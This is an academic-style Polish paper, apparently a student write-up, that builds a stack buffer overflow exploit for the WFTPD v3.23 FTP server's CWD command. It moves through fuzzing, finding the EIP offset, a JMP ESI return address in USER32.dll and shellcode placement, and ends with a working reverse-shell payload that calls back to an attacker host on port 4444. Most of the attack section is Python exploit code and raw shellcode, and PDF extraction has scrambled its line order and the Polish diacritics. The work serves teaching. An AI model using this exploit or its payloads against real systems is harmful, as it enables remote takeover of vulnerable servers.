K. Nieradkiewicz - Analiza ataku na system komputerowy z

Transkrypt

K. Nieradkiewicz - Analiza ataku na system komputerowy z
Analiza ataku na system komputerowy
z wykorzystaniem techniki przepełnienia bufora.
Kamil Nieradkiewicz
Wydział Inżynierii Mechanicznej i Informatyki
Kierunek Informatyka, Rok III
[email protected]
Streszczenie
W poniższej pracy przeprowadzono analiz˛e przygotowania oraz przeprowadzenia ataku na zdalny system z użyciem metody przepełnienia bufora. Tekst porusza
wszystkie fazy ataku, poczawszy
˛
od przygotowania, badania atakowanej aplikacji,
budowy "proof of concept" do wysłania exploitu i uruchomienia złośliwego kodu na
zdalnym hoście.
1 Wst˛ep
Artykuł ten opisuje dobrze znana˛ metod˛e ataku na zdalny system przy pomocy techniki
przepełnienia bufora. Podatność ta została zbadana i opisana już w 1972[1] roku i jest
jedna˛ z najpowszechniej używanych metod ataków na systemy komputerowe na świecie.
Pomimo dobrego zrozumienia działania ataku z użyciem tej metody, jest on wcia˛ż możliwy do przeprowadzenia, a tak długo jak w użyciu b˛eda˛ j˛ezyki podobne do C czy C++
,które nie sprawdzaja˛ przekroczenia granicy bufora i pozwalaja˛ na samodzielne zarzadza˛
nie pami˛ecia,˛ zagrożenie nie minie.
Należy jednak zwrócić szczególna˛ uwag˛e na to, że podatność na atak nie istnieje sama
z siebie i nie każdy system da si˛e zaatakować. Wszystkie tego typu zagrożenia sa˛ możliwe
tylko i wyłacznie
˛
dzi˛eki złej implementacji i da si˛e przed nimi ustrzec projektujac
˛ i piszac
˛
aplikacje z należyta˛ starannościa,˛ nieufnie i rygorystycznie traktujac
˛ wszelkie dostarczane
do nich dane.
Dla celów tego artykułu posłużymy si˛e serwerem ftp: WFTPD v3.23 którego podatność na atak z wykorzystaniem przecia˛żenia bufora została opisana już w 2006 roku[2].
2 Szukanie podatności
2.1 Metody szukania podatności
Mówiac
˛ o zagrożeniach nasuwa si˛e oczywiste pytanie: skad
˛ atakujacy
˛ wie, że wywołanie
konkretnej instrukcji z jakimiś specyficznymi parametrami spowoduje bład
˛ w aplikacji.
Generalnie istnieja˛ 3 podstawowe metody poszukiwania bł˛edów i potencjalnych podatności na atak. Pierwsza˛ i najprostsza˛ metoda˛ jest analiza kodu źródłowego aplikacji w
1
poszukiwaniu bł˛edów i źle zabezpieczonych funkcji. Jest to jednak możliwe tylko w przypadku aplikacji open-source. Gdy twórcy aplikacji nie udost˛epniaja˛ jej kodu źródłowego
można posłużyć si˛e inżynieria˛ wsteczna.˛ Jest to jednak trudny i mozolny proces. Ostatnia˛
z metod jest tak zwany fuzzing.[3]
Fuzzing w uproszczeniu polega na zalewaniu aplikacji specjalnie przygotowanymi danymi i obserwowaniu jej zachowania w poszukiwaniu jakichkolwiek anomalii lub crashu.
Testujac
˛ w ten sposób aplikacje należy przygotować (lub posłużyć si˛e gotowym) skrypt,
który b˛edzie wysyłał spreparowane instrukcje i łańcuchy znakowe, najcz˛eściej o przesadnie dużej wielkości (np: instrukcja LOGUJ z loginem długości 1000 znaków).
Poniżej pokazano prosty, przykładowy fuzzer zaimplementowany w j˛ezyku python.
Listing 1: fuzzer.py
1 #!/ usr / bin / python
2
3 import
socket
sys
4 import
5
6 if
7
8
9
len ( sys . argv ) <4:
print "\ nUSAGE :\ n"
print sys . argv [0] +" < victim . ip . address > <port > <max length >\ n"
sys . exit (0)
10
11 # Define
12 COMMANDS
commands to be fuzzed !
= [" CWD ", " MKD ", " STOR "]
13
14
15 max
= int ( sys . argv [3])
16
17 # Run
18 for
19
20
21
22
23
24
the nasty loop :]
com in COMMANDS :
len = 100
while len <= max :
print " Fuzzing : " + com + " : " + str ( len )
s = socket . socket ( socket . AF_INET , socket . SOCK_STREAM )
s. connect (( sys . argv [1] , int ( sys . argv [2]) ))
data = s. recv (4096)
25
26
27
28
# Authorization USER anonymous
s. send ( ’ USER anonymous ’ + "\ r\n ")
data = s. recv (1024)
29
30
31
32
# Authorization PASS email as pwd .
s. send ( ’ PASS pwd1@pwd . pl ’ + "\ r\n ")
data = s. recv (1024)
33
34
35
36
37
38
39
40
# Sending evil buffer
s. send ( com + " \\" + "A "* len + "\ r\n ")
# print com + " \\" + "A "* len + "\ r\n"
data = s. recv ( len +100)
s. send (" QUIT \r\n ")
len = len +20
s. close ()
2.2 Badanie podatności
Pierwszym krokiem w testowaniu podatności aplikacji na działanie fuzzera jest odpowiednie przygotowanie środowiska, które pozwoli dokładnie badać zachowanie aplikacji
w trakcie ataku. W tym celu należy posłużyć si˛e debuggerem. Do przeprowadzenia testów
użyty został debugger dla windows x86 Immunity Debugger.
2
Po uruchomieniu testowanej aplikacji i przypi˛eciu jej w debuggerze można uruchomić
fuzzer[Rys.1].
Rys.1 Fuzzer w trakcie działania
Jak łatwo zauważyć, ostatnim pakietem jaki udało si˛e wysłać do aplikacji była komenda CWD z parametrem długości 260 bajtów. Można wi˛ec domniemać, że wywołanie
komendy CWD z parametrem dłuższym niż 240 bajtów powoduje bład
˛ w aplikacji.
3 Analiza znalezionych bł˛edów
3.1 Proof of concept 1 - nadpisanie pami˛eci
Aby zbadać podatność aplikacji na atak napiszemy "proof of concept", czyli skrypt, który
ma za zadanie wykorzystać znalezione bł˛edy do przej˛ecia kontroli nad wykonaniem kodu
przez atakowany serwer.
Listing 2: poc1.py
1 #!/ usr / bin / python
2 import
3 import
socket
sys
4
5 print
" Sending evil buffer : "
= socket . socket ( socket . AF_INET , socket . SOCK_STREAM )
7 s. connect (( sys . argv [1] , int ( sys . argv [2]) ))
8 data = s. recv (4096)
6s
9
10 #
Authorization USER anonymous
anonymous " + "\ r\n ")
12 data = s. recv (1024)
11 s. send (" USER
13
14 #
Authorization PASS email as pwd .
pwd1@pwd . pl " + "\ r\n ")
16 data = s. recv (1024)
15 s. send (" PASS
17
18 #
Sending evil buffer
\\" + "\ x41 " * 640 + "\ r\n ")
20 data = s. recv (1024)
21 s. send (" QUIT \r\n ")
22 s. close ()
19 s. send (" CWD
Pierwszy, najprostszy PoC łaczy
˛
si˛e z podanym adresem na podanym porcie, autoryzuje si˛e jako użytkownik anonymous z przykładowym hasłem oraz wywołuje komend˛e
CWD z parametrem długości 641 bajtów ( Pierwszym znakiem jest lewy ukośnik (ang.
backslash) wymagany w składni komendy CWD ), wypełniony znakami 0x41 ( 0x41 to
hexadecymalny zapis dziesi˛etnej liczby 65, która odpowiada znakowi ASCII litery A[4]).
Po wykonaniu naszego skryptu należy podejrzeć jego wpływ na aplikacj˛e w oknie debuggera
3
Rys.2 Wykonanie pierwszego Proof of Concept
Po analizie stanu aplikacji w debuggerze, można zauważyć że wysłany bufor nadpisał
m.in.: cz˛eść stosu poczawszy
˛
od wierzchołka, rejestr EIP oraz cz˛eść pami˛eci wskazywanej
przez rejestr ESI. Należy zwrócić szczególna˛ uwag˛e na nadpisanie rejestru EIP, który
kontroluje przepływ programu. Wiedzac
˛ dokładnie, które 4 bajty bufora nadpisuja˛ rejestr
EIP można wpisać tam dowolna˛ wartość i w efekcie przenieść egzekucj˛e programu do
dowolnego punktu w kodzie.
3.2 Proof of concept 2 - kontrola EIP
Identyfikacj˛e cz˛eści bufora, która nadpisuje rejestr EIP można wykonać na 2 sposoby.
Można podzielić bufor tak, aby zamiast wysyłać 640 bajtów wypełnionych wartościami
0x41, wysłać 320 bajtów wypełnionych 0x41 oraz 320 bajtów wypełnionych 0x42 (litera B w ASCII). W ten sposób jeśli rejestr EIP zostanie nadpisany przez wartości 0x41
wiemy, że fragment, który go nadpisuje leży w pierwszych 320 bajtach, jeśli zostanie
nadpisany przez 0x42 leży w drugiej połowie bufora. Zakładajac,
˛ że EIP został nadpisany przez wartości 0x41 nast˛epnym krokiem b˛edzie wysłanie bufora składaj
˛ acego
˛
si˛e
ze 160 bajtów 0x41, 160 bajtów 0x43 oraz 320 bajtów 0x42. Dzielac
˛ bufor analogicznie
otrzymamy coraz w˛eższe przedziały. Teoretycznie, wynik powinniśmy uzyskać już po 7
iteracjach.
Inna,˛ szybsza˛ metoda˛ jest wypełnienie bufora unikalnym stringiem. Dzi˛eki temu wystarczy znaleźć 4 bajty nadpisujace
˛ bufor w naszym stringu już przy pierwszej iteracji. Do
wygenerowania unikalnego stringu może posłużyć prosty skrypt a gotowy bufor należy
dołaczyć
˛
do PoC. Zmodyfikowane cz˛eści PoC zostały pokazane poniżej.
Listing 3: poc2.py
1 #... beggining
2
3 buf
= (" Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6 "
4 " Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5 "
5 " Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4 "
6 " Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3 "
7 " Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2 "
8 " Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1 "
9 " Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0 "
10 " An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9 "
11 " Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8 "
12 " Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7 "
13 " As8As9At0At1At2At3At4At5At6At7At8At9 ")
14
15 """
16 ...
rest of code ...
17 """
18
19 #
Sending evil buffer
\\" + buf + "\ r\n ")
20 s. send (" CWD
21
22 #...end
Po wywołaniu kolejnego PoC można zaobserwować w debuggerze wartość nadpisujac
˛ a˛ rejestr EIP [Rys.3].
4
Rys.3 Nadpisany rejestr EIP
Jak widać, rejestr EIP został nadpisany wartościami 0x41, 0x37, 0x69, 0x41 co odpowiada znakom: A,7,i,A kodu ASCII. Należy pami˛etać, że system Windows x86 używa
konwencji little-endian do adresacji. Oznacza to, że string ten należy czytać od końca i
fragment bufora, który nadpisał rejest EIP to "Ai7A". Podciag
˛ ten znajduje si˛e w zakresie
262-266 bajtu naszego bufora. Zmodyfikujmy nasz PoC uwzgl˛edniajac
˛ nowe informacje.
3.3 Proof of concept 3 - przygotowanie przestrzeni dla kodu
W kolejnym kroku wysyłany bufor został podzielony na 3 cz˛eści a przestrzeń za 266
bajtem została powi˛ekszona do 500 bajtów.
• bufor poczatkowy
˛
- 261 B
• cz˛eść nadpisujaca
˛ EIP - 4 B
• przestrzeń za EIP - 500 B
Listing 4: poc3.py
1 #... beggining
2
3 buf
= "\ x41 " * 261
= "\ x42 \ x42 \ x42 \ x42 "
5 # Extending trash space to 500 bytes
6 trash = "\ x43 " * 500
4 eip
7
8 """
9 ...
rest of code ...
10 """
11
12 #
Sending evil buffer
\\" + buf
13 s. send (" CWD
+ eip + trash + "\ r\n ")
14
15 #...end
Po wykonaniu obecnego PoC, możemy zaobserwować, że zgodnie z oczekiwaniami
rejest EIP został nadpisany wartościami 0x42[Rys.4]
Rys.4 Nadpisany rejestr EIP
Należy także przeanalizować obszary pami˛eci nadpisane przez działanie naszego PoC.
Cz˛eść wysłanego bufora jest przepisana na stos, jednak w okolicach 170 bajtu
( 0x6FCB0 - 0x6FC04 = 0xAC = 172[dec] )
nadpisuje on SEH [Rys.5], który nie b˛edzie omawiany w naszym przykładzie. Jak już
wcześniej wspomniano, fragment bufora przed miejscem nadpisujacym
˛
EIP ma 260 B
dost˛epnych do zapisu ( pierwszy bajt to wymagany w składni CWD lewy ukośnik ). Nast˛epnie mamy 4 bajty na nowy adres EIP oraz 500 bajtów dost˛epnej przestrzeni.
5
Rys.5 Stos oraz nadpisany SEH
3.4 Proof of concept 4 - spojrzenie na kod powłoki
Kolejnym krokiem jest przygotowanie i przyjrzenie si˛e przesłanemu w buforze kodowi.
W tym przykładzie wypełnimy pierwsza˛ cz˛eść bufora kodem powłoki (ang. shellcode)[5],
który wywołuje odpowiednia˛ funkcj˛e Windows Speech API zmuszajac
˛ system do przeczytania hasła " YOU GOT PWNED! ". Kod ten ma 247 B długości i z niewielkim marginesem mieści si˛e w przestrzeni pierwszej sekcji naszego bufora. Margines ten wypełnimy
wartościami 0x90, co odpowiada opcodowi NOP[6] (No operation).
Listing 5: poc4.py
1 #... beggining
2
3 nop1 =
"\ x90 " * 8
# you got pwned ! shellcode
5 shellcode = "\ x66 \ x81 \ xe4 \ xfc \ xff \ x31 \ xf6 \ x64 \ x8b \ x76 \ x30 \ x8b \ x76 \ x0c \ x8b \ x76 \ x1c \ x56 \
x66 \ xbe \ xaa \ x1a \ x5f \ x8b \ x6f \ x08 \ xff \ x37 \ x8b \ x5d \ x3c \ x8b \ x5c \ x1d \ x78 \ x01 \ xeb \ x8b \
x4b \ x18 \ x67 \ xe3 \ xeb \ x8b \ x7b \ x20 \ x01 \ xef \ x8b \ x7c \ x8f \ xfc \ x01 \ xef \ x31 \ xc0 \ x99 \ x32 \
x17 \ x66 \ xc1 \ xca \ x01 \ xae \ x75 \ xf7 \ x49 \ x66 \ x39 \ xf2 \ x74 \ x08 \ x67 \ xe3 \ xcb \ xe9 \ xdb \ xff \
xff \ xff \ x8b \ x73 \ x24 \ x01 \ xee \ x0f \ xb7 \ x34 \ x4e \ x8b \ x43 \ x1c \ x01 \ xe8 \ x8b \ x3c \ xb0 \ x01 \
xef \ x31 \ xf6 \ x66 \ x81 \ xfa \ xda \ xf0 \ x74 \ x1b \ x66 \ x81 \ xfa \ x69 \ x27 \ x74 \ x20 \ x6a \ x32 \ x68 \
x6f \ x6c \ x65 \ x33 \ x54 \ xff \ xd7 \ x95 \ x66 \ xbe \ xda \ xf0 \ xe9 \ x95 \ xff \ xff \ xff \ x56 \ xff \ xd7 \
x66 \ xbe \ x69 \ x27 \ xe9 \ x89 \ xff \ xff \ xff \ x68 \ x6e \ x04 \ x22 \ xd4 \ x68 \ xa1 \ xec \ xef \ x99 \ x68 \
xb9 \ x72 \ x92 \ x49 \ x68 \ x74 \ xdf \ x44 \ x6c \ x89 \ xe0 \ x68 \ x4f \ x79 \ x73 \ x96 \ x68 \ x9e \ xe3 \ x01 \
xc0 \ xff \ x4c \ x24 \ x02 \ x68 \ x91 \ x33 \ xd2 \ x11 \ x68 \ x77 \ x93 \ x74 \ x96 \ x89 \ xe3 \ x56 \ x54 \ x50 \
x6a \ x17 \ x56 \ x53 \ xff \ xd7 \ x5b \ x68 \ x6f \ x67 \ x20 \ x55 \ x68 \ x6f \ x70 \ x20 \ x74 \ x68 \ x21 \ x64 \
x6e \ x68 \ x96 \ x89 \ xe6 \ x50 \ xac \ x66 \ x50 \ x3c \ x55 \ x75 \ xf9 \ x89 \ xe1 \ x31 \ xc0 \ x50 \ x50 \ x51 \
x53 \ x8b \ x13 \ x8b \ x4a \ x50 \ xff \ xd1 \ xcc "
6 nop2 = "\ x90 " * 6
4 #247
7
8 # has
261 B space above !
= "\ x42 \ x42 \ x42 \ x42 "
10 trash = "\ x43 " * 500
9 eip
11
12 """
13 ...
rest of code ...
14 """
15
16 #
Sending evil buffer
\\" + nop1 + shellcode + nop2
17 s. send (" CWD
+ eip + trash + "\ r\n ")
18
19 #...end
Ustawiajac
˛ podglad
˛ kodu na miejsce wskazywane przez ESI (poczatek
˛ naszego bufora) możemy zaobserwować instrukcj˛e POP ESP, szereg instrukcji NOP oraz instrukcje
naszego shellcodu. Bardzo ważne jest, aby zwrócić uwag˛e na instrukcj˛e POP ESP, która
opisana przez opcode 0x5c jest odpowiednikiem znaku lewego ukośnika w kodzie ASCII.
Wykonanie tej instrukcji spowoduje pobranie wartości z wierzchołka stosu (aktualnie
0x43 0x43 0x43 0x43) i wpisanie jej jako nowy wskaźnik wierzchołka stosu. Pomimo,
że mamy kontrol˛e nad tym obszarem pami˛eci, nie jesteśmy w stanie na sztywno określić
6
żadnego poprawnego adresu, który mógłby wskazywać wierzchołek stosu. Konieczne jest
pozbycie si˛e instrukcji POP ESP.
3.5 Proof of concept 5 - pozbycie si˛e instrukcji POP ESP
Instrukcja POP ESP opisana przez opcode 0x5c leży przed faktycznym poczatkiem
˛
naszego modyfikowalnego bufora. Całkowite usuni˛ecie tego bajtu spowoduje potraktowanie
parametru instrukcji CWD (czyli całego naszego bufora) jako niepoprawny przez co nie
zostanie on przekazany do parsowania, a w efekcie przepełnienie bufora nie nastapi.
˛ Aby
spróbować poradzić sobie z tym problemem, należy sprawdzić jak liberalny jest testowany
serwer w kwestii składni polecenia CWD. Zmodyfikujmy PoC tak, aby wysłać polecenie
CWD z parametrem zaczynajacym
˛
si˛e od prawego ukośnika (ang. slash) zamiast lewego
ukośnika.
Listing 6: poc5.py
1 #... beggining
2
3#
Sending evil buffer
/" + nop1 + shellcode + nop2
4 s. send (" CWD
+ eip + trash + "\ r\n ")
5
6 #...end
Po wykonaniu skryptu i podejrzeniu programu w debuggerze można stwierdzić, że
przepełnienie bufora nastapiło,
˛
program nadpisał te same połacie pami˛eci a instrukcja
POP ESP zamieniła si˛e na instrukcj˛e DAS. DAS, czyli Decimal Adjust after Subtraction
jest instrukcja,˛ która wykonuje operacje jedynie na rejestrze AL, a w tym przypadku rejestr ten nie przechowuje żadnych istotnych dla nas danych.
3.6 Proof of concept 6 - adres skoku
Majac
˛ gotowy kod powłoki w przygotowanym miejscu w pami˛eci dost˛epnym za pośrednictwem rejestru ESI oraz kontrol˛e nad EIP wystaczy zmusić program do skoku do miejsca wskazywanego przez ESI aby nasz kod został wykonany. Należy przy tym pami˛etać,
że rejestr EIP przechowuje adresy instrukcji a nie same instrukcje. W zwiazku
˛
z tym nie
jest możliwe bezpośrednie wpisanie do rejestru EIP wartości 0xFF 0xE6 ( jest to opcode
instrukcji JMP ESI [6]) w celu przekierowania egzekucji programu do przestrzeni naszego bufora. Jednak, cz˛eść bibliotek systemowych w Windows jest przechowywana w
dokładnie tym samym miejscu w pami˛eci przy każdym starcie w obr˛ebie tego samego
service packu. Majac
˛ to na uwadze, wystarczy znaleźć adres instrukcji w jednym z takich modułów, wykorzystywanym przez nasza˛ aplikacj˛e. W tym celu, przeszukamy w
debuggerze list˛e modułów używanych przez nasz serwer, wybierzemy moduł systemowy
i spróbujemy znaleźć tam instrukcj˛e JMP ESI. Po przejrzeniu modułów systemowych,
można znaleźć instrukcj˛e JMP ESI w USER32.dll pod adresem 0x77D89323[Rys.6].
Rys.6 Instrukcja JMP ESI w module USER32.dll
7
Zmodyfikujmy wi˛ec PoC uwzgl˛edniajac
˛ nowe informacje, pami˛etajac
˛ o konwencji
zapisu adresów w Win x86 (little-endian)[7].
Listing 7: poc6.py
1 #... beggining
2
3 #77 D89323
--> JMP ESI in USER32 . dll
= "\ x23 \ x93 \ xd8 \ x77 "
5 trash = "\ xcc " * 500
4 eip
6
7 sJMP20
= "\ x90 \ x90 \ xeb \ x12 \ x90 \ x90 " #6 B
8
9
10 """
11 ...
rest of code ...
12 """
13
14 #
Sending evil buffer
/" + nop1 + shellcode + sJMP20
15 s. send (" CWD
+ eip + trash + "\ r\n ")
16
17 #...end
Dodatkowo PoC został usprawniony dodajac
˛ komend˛e skoku relatywnego w przód o
20B ( 0xEB 0x12 = JMP 0x12 [6] )w miejscu pomi˛edzy kodem powłoki a EIP. Kolejnej zmianie uległa zawartość sekcji bufora za EIP, która została wypełniona wartościami
0xCC ( 0xCC to instrukcja int3, pauzujaca
˛ działanie programu w debuggerze [6]). W
efekcie, dzi˛eki wprowadzonym zmianom, po wykonaniu shellcodu, egzekucja programu
zostanie przeniesiona do kolejnej, 500 bajtowej sekcji pozwalajacej
˛ nam na zapis dodatkowego kodu. Operacja ta może być użyteczna, gdy nasz kod jest zbyt duży, aby zmieścić
si˛e we pierwszej, 260 bajtowej przestrzeni. W powyższym przykładzie, wykorzystamy t˛e
sztuczk˛e do dołaczenia
˛
kolejnego shellcodu, uruchamiajacego
˛
zdalna˛ konsol˛e.
3.7 Proof of concept 7 - kontrola całkowita
Ostatnim krokiem jest dodanie kodu powłoki drugiego poziomu w miejscu w buforze
za fragmentem nadpisujacym
˛
EIP. Kod ten otwiera zdalna˛ konsol˛e i łaczy
˛
si˛e z adresem
192.168.84.134 (który jest adresem naszego hosta linuksowego) na porcie 4444.
Listing 8: poc7.py
1 #... beggining
2
3 shellcode2
= (
4 "\ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 "
5 "\ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ xcc "
6 "\ x31 \ xc9 \ x83 \ xe9 \ xb8 \ xd9 \ xee \ xd9 \ x74 \ x24 \ xf4 \ x5b \ x81 \ x73 \ x13 \ xb6 "
7 "\ x10 \ x92 \ x98 \ x83 \ xeb \ xfc \ xe2 \ xf4 \ x4a \ x7a \ x79 \ xd5 \ x5e \ xe9 \ x6d \ x67 "
8 "\ x49 \ x70 \ x19 \ xf4 \ x92 \ x34 \ x19 \ xdd \ x8a \ x9b \ xee \ x9d \ xce \ x11 \ x7d \ x13 "
9 "\ xf9 \ x08 \ x19 \ xc7 \ x96 \ x11 \ x79 \ xd1 \ x3d \ x24 \ x19 \ x99 \ x58 \ x21 \ x52 \ x01 "
10 "\ x1a \ x94 \ x52 \ xec \ xb1 \ xd1 \ x58 \ x95 \ xb7 \ xd2 \ x79 \ x6c \ x8d \ x44 \ xb6 \ xb0 "
11 "\ xc3 \ xf5 \ x19 \ xc7 \ x92 \ x11 \ x79 \ xfe \ x3d \ x1c \ xd9 \ x13 \ xe9 \ x0c \ x93 \ x73 "
12 "\ xb5 \ x3c \ x19 \ x11 \ xda \ x34 \ x8e \ xf9 \ x75 \ x21 \ x49 \ xfc \ x3d \ x53 \ xa2 \ x13 "
13 "\ xf6 \ x1c \ x19 \ xe8 \ xaa \ xbd \ x19 \ xd8 \ xbe \ x4e \ xfa \ x16 \ xf8 \ x1e \ x7e \ xc8 "
14 "\ x49 \ xc6 \ xf4 \ xcb \ xd0 \ x78 \ xa1 \ xaa \ xde \ x67 \ xe1 \ xaa \ xe9 \ x44 \ x6d \ x48 "
15 "\ xde \ xdb \ x7f \ x64 \ x8d \ x40 \ x6d \ x4e \ xe9 \ x99 \ x77 \ xfe \ x37 \ xfd \ x9a \ x9a "
16 "\ xe3 \ x7a \ x90 \ x67 \ x66 \ x78 \ x4b \ x91 \ x43 \ xbd \ xc5 \ x67 \ x60 \ x43 \ xc1 \ xcb "
17 "\ xe5 \ x53 \ xc1 \ xdb \ xe5 \ xef \ x42 \ xf0 "
18
19 #
ip address xored with 0 x989210b6
20 "\ x76 \ xb8 \ xc6 \ x1e "
21
22 "\ xd0 \ x78 "
8
23
24 #
port xored with 0 x9892
25 "\ x83 \ xc4 "
26
27 "\ xd0 \ x43 \ x1b \ x79 \ x23 \ x78 \ x7e \ x61 \ x1c \ x70 \ xc5 \ x67 \ x60 \ x7a \ x82 \ xc9 "
28 "\ xe3 \ xef \ x42 \ xfe \ xdc \ x74 \ xf4 \ xf0 \ xd5 \ x7d \ xf8 \ xc8 \ xef \ x39 \ x5e \ x11 "
29 "\ x51 \ x7a \ xd6 \ x11 \ x54 \ x21 \ x52 \ x6b \ x1c \ x85 \ x1b \ x65 \ x48 \ x52 \ xbf \ x66 "
30 "\ xf4 \ x3c \ x1f \ xe2 \ x8e \ xbb \ x39 \ x33 \ xde \ x62 \ x6c \ x2b \ xa0 \ xef \ xe7 \ xb0 "
31 "\ x49 \ xc6 \ xc9 \ xcf \ xe4 \ x41 \ xc3 \ xc9 \ xdc \ x11 \ xc3 \ xc9 \ xe3 \ x41 \ x6d \ x48 "
32 "\ xde \ xbd \ x4b \ x9d \ x78 \ x43 \ x6d \ x4e \ xdc \ xef \ x6d \ xaf \ x49 \ xc0 \ xfa \ x7f "
33 "\ xcf \ xd6 \ xeb \ x67 \ xc3 \ x14 \ x6d \ x4e \ x49 \ x67 \ x6e \ x67 \ x66 \ x78 \ x62 \ x12 "
34 "\ xb2 \ x4f \ xc1 \ x67 \ x60 \ xef \ x42 \ x98 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 ")
35
36 """
37 ...
rest of code ...
38 """
39
40 #
Sending evil buffer
/" + nop + shellcode + sJMP20
41 s. send (" CWD
+ eip + shellcode2 + "\ r\n ")
42
43 #...end
Po uruchomieniu NetCat’a na maszynie linuksowej nasłuchujacego
˛
na porcie 4444 i
wykonaniu naszego skryptu, można zaobserwować wyniki działajacego
˛
złośliwego kodu
na atakowanej maszynie[Rys.7].
Rys.7 Efekt działania exploitu
4 Podsumowanie
Reasumujac,
˛ po zbadaniu serwera WFTP v3.23 natrafiono na potencjalne zagrożenie w
momencie wykonywania instrukcji CWD ze spreparowanym parametrem. Po dokładnej
analizie, powyższy bład
˛ aplikacji pozwolił na nadpisanie obszarów pami˛eci i umieszczenie tam złośliwego kodu. Nadpisaniu uległ także rejestr EIP co pozwoliło na przekierowanie miejsca egzekucji aplikacji z wykorzystaniem modułu systemowego USER32.dll.
Powyższe czynności doprowadziły do wykonania na zdalnej maszynie arbitralnego kodu,
który w powyższym przykładzie udost˛epnił przez połaczenie
˛
na porcie 4444 konsol˛e systemowa.˛ W efekcie, poprzez bład
˛ w implementacji programu, narażony został cały system
komputerowy uruchamiajacy
˛ wadliwy serwer.
9
Literatura
[1] [James P. Anderson. Computer Security Technology Planning Study. page 61, 1972.]
[2] [http://www.securiteam.com/windowsntfocus/5WP0N0AJFA.html]
[3] [Mati Aharoni Offensive Security Lab Excercises. page 149, 2007.]
[4] [http://www.asciitable.com/]
[5] [http://www.metasploit.com/modules/payload/windows/speak_pwned]
[6] [http://ref.x86asm.net/coder32.html]
[7] [http://en.wikipedia.org/wiki/Endianness]
10